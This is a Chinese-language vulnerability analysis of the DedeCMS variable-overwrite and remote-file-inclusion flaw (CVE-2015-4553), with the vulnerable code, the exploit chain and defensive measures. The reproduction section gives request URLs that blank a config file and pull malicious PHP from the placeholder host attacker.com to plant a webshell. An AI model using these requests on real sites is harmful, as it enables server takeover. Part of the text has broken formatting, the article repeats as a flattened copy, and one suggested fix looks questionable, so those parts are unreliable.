DedeCMS includecommon.inc.php $step==11 updateHost、s_lang、install_demo_name、insLockfile 代码错误
字数 1526 2025-08-18 11:38:41

DedeCMS include/common.inc.php 变量覆盖与远程文件包含漏洞分析

漏洞概述

本漏洞存在于DedeCMS V5.5至V5.7 SP1版本中,位于/install/index.php(或index.php.bak)文件。该漏洞结合了变量覆盖与远程文件包含两种安全问题,攻击者可利用此漏洞重定义数据库连接、直接写入webshell后门,进而获取网站甚至服务器的管理权限。

漏洞基本信息

  • 漏洞编号: CVE-2015-4553
  • CVSS评分: 9.4 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L/E:F/RL:O/RC:C)
  • 影响版本: DedeCMS 5.5 - 5.7 SP1
  • 漏洞类型: 代码错误(变量覆盖+远程文件包含)
  • 危害等级: 高

漏洞原理分析

1. 变量覆盖漏洞

漏洞位于/include/common.inc.php文件中,关键问题代码如下:

foreach(Array('_GET','_POST','_COOKIE') as $_request){
    foreach(
$$
_request as $_k => $_v) 
        ${$_k} = RunMagicQuotes($_v);
}

这段代码原本目的是将GET、POST、COOKIE三处传入的数据以键值对形式获取,但由于使用了`

\[`(可变变量)语法,导致可以覆盖任意变量。 ### 2. 远程文件包含漏洞 在`install/index.php`文件中,当`$step==11`时存在以下关键代码: ```php else if($step==11){ require_once('../data/admin/config_update.php'); $rmurl = $updateHost."dedecms/demodata.{$s_lang}.txt"; $sql_content = file_get_contents($rmurl); $fp = fopen($install_demo_name,'w'); if(fwrite($fp,$sql_content)) echo ' [√] 存在(您可以选择安装进行体验)'; else echo ' [×] 远程获取失败'; unset($sql_content); fclose($fp); exit(); } ``` 攻击者可以通过变量覆盖控制`$updateHost`、`$s_lang`、`$install_demo_name`等参数,实现远程文件包含和任意文件写入。 ### 3. 漏洞组合利用 虽然`config_update.php`会重新定义`$updateHost`,但攻击者可以通过以下两种方式绕过: 1. 覆盖`../data/admin/config_update.php`文件中的`$updateHost`变量值 2. 将`../data/admin/config_update.php`文件内容清空 实际利用中,第二种方法更为可行。 ## 漏洞利用条件 1. 目标系统未删除install目录 2. 目标系统未正确设置`install_lock.txt`文件 3. 服务器允许远程文件包含(`allow_url_fopen`或`allow_url_include`开启) ## 漏洞复现步骤 ### 第一步:清空配置文件 发送以下请求清空`../data/admin/config_update.php`文件: ``` http://target.com/install/index.php?step=11&insLockfile=a&s_lang=a&install_demo_name=../data/admin/config_update.php ``` 原理:`file_get_contents`对于无效URL返回false,导致写入空内容。 ### 第二步:远程包含获取Webshell 1. 在攻击者服务器上创建文件:`http://attacker.com/dedecms/demodata.a.txt`,内容为恶意PHP代码 2. 发送以下请求写入Webshell: ``` http://target.com/install/index.php?step=11&insLockfile=a&s_lang=a&install_demo_name=shell.php&updateHost=http://attacker.com/ ``` ## 防御措施 1. **官方建议**: - 升级到最新版本 - 参考官方补丁:http://www.dedecms.com/pl/ 2. **临时修复方案**: - 删除install目录 - 在`include/common.inc.php`中注释以下代码: ```php /*if(version_compare(PHP_VERSION, '5.3.0') > 0) if(strtoupper(ini_get('request_order')) == 'GP') exit('DedeCMS Error: (PHP 5.3 and above) Please set \'request_order\' ini value to include C,G and P (recommended: \'CGP\') in php.ini,more...');*/ ``` 3. **其他安全建议**: - 设置`request_order = "CGP"` in php.ini - 禁用`allow_url_fopen`和`allow_url_include` - 设置严格的目录权限 ## 技术细节补充 1. **RunMagicQuotes函数分析**: ```php function _RunMagicQuotes(&$svar){ if(!get_magic_quotes_gpc()) { if( is_array($svar) ) { foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v); } else { if( strlen($svar)>0 && preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE)#',$svar) ) { exit('Request var not allow!'); } $svar = addslashes($svar); } } return $svar; } ``` 该函数虽然对部分敏感变量进行了过滤,但未能有效防止所有变量覆盖情况。 2. **安装锁机制**: ```php $insLockfile = dirname(__FILE__).'/install_lock.txt'; if(file_exists($insLockfile)){ exit(" 程序已运行安装,如果你确定要重新安装,请先从FTP中删除 install/install_lock.txt!"); } ``` 攻击者可以通过变量覆盖`$insLockfile`绕过此检查。 ## 总结 该漏洞利用链较为复杂,结合了变量覆盖和远程文件包含两种技术,危害性较高。管理员应及时升级或采取临时修复措施,同时加强服务器安全配置,防止此类漏洞被利用。\]

DedeCMS include/common.inc.php 变量覆盖与远程文件包含漏洞分析 漏洞概述 本漏洞存在于DedeCMS V5.5至V5.7 SP1版本中,位于 /install/index.php (或 index.php.bak )文件。该漏洞结合了变量覆盖与远程文件包含两种安全问题,攻击者可利用此漏洞重定义数据库连接、直接写入webshell后门,进而获取网站甚至服务器的管理权限。 漏洞基本信息 漏洞编号 : CVE-2015-4553 CVSS评分 : 9.4 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L/E:F/RL:O/RC:C) 影响版本 : DedeCMS 5.5 - 5.7 SP1 漏洞类型 : 代码错误(变量覆盖+远程文件包含) 危害等级 : 高 漏洞原理分析 1. 变量覆盖漏洞 漏洞位于 /include/common.inc.php 文件中,关键问题代码如下: 这段代码原本目的是将GET、POST、COOKIE三处传入的数据以键值对形式获取,但由于使用了 $$ (可变变量)语法,导致可以覆盖任意变量。 2. 远程文件包含漏洞 在 install/index.php 文件中,当 $step==11 时存在以下关键代码: 攻击者可以通过变量覆盖控制 $updateHost 、 $s_lang 、 $install_demo_name 等参数,实现远程文件包含和任意文件写入。 3. 漏洞组合利用 虽然 config_update.php 会重新定义 $updateHost ,但攻击者可以通过以下两种方式绕过: 覆盖 ../data/admin/config_update.php 文件中的 $updateHost 变量值 将 ../data/admin/config_update.php 文件内容清空 实际利用中,第二种方法更为可行。 漏洞利用条件 目标系统未删除install目录 目标系统未正确设置 install_lock.txt 文件 服务器允许远程文件包含( allow_url_fopen 或 allow_url_include 开启) 漏洞复现步骤 第一步:清空配置文件 发送以下请求清空 ../data/admin/config_update.php 文件: 原理: file_get_contents 对于无效URL返回false,导致写入空内容。 第二步:远程包含获取Webshell 在攻击者服务器上创建文件: http://attacker.com/dedecms/demodata.a.txt ,内容为恶意PHP代码 发送以下请求写入Webshell: 防御措施 官方建议 : 升级到最新版本 参考官方补丁:http://www.dedecms.com/pl/ 临时修复方案 : 删除install目录 在 include/common.inc.php 中注释以下代码: 其他安全建议 : 设置 request_order = "CGP" in php.ini 禁用 allow_url_fopen 和 allow_url_include 设置严格的目录权限 技术细节补充 RunMagicQuotes函数分析 : 该函数虽然对部分敏感变量进行了过滤,但未能有效防止所有变量覆盖情况。 安装锁机制 : 攻击者可以通过变量覆盖 $insLockfile 绕过此检查。 总结 该漏洞利用链较为复杂,结合了变量覆盖和远程文件包含两种技术,危害性较高。管理员应及时升级或采取临时修复措施,同时加强服务器安全配置,防止此类漏洞被利用。